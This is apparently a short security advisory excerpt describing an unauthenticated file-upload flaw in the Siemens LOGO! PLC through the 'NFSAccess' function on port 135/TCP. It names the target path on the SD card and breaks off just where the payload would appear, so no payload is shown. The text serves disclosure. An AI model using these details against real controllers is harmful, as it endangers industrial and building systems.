Details

Siemens LOGO! is an intelligent logic module (PLC) meant for automation projects such as industrial control systems, office/commercial and home settings. It is deployed worldwide and can be control remotely.

Files can be uploaded or overwritten on the SD card through the LOGO TDE Service port 135/TCP using the “NFSAccess” upload function. The security vulnerability could be exploited by an unauthenticated attacker with network access to port 135/tcp. No user interaction is required to exploit this security vulnerability. The vulnerability impacts integrity and availability of the device since a copy protected program can be overwritten during this process. The Payload used to upload a file (/dev/sdcard/webroot/js/ctalos.js) was:
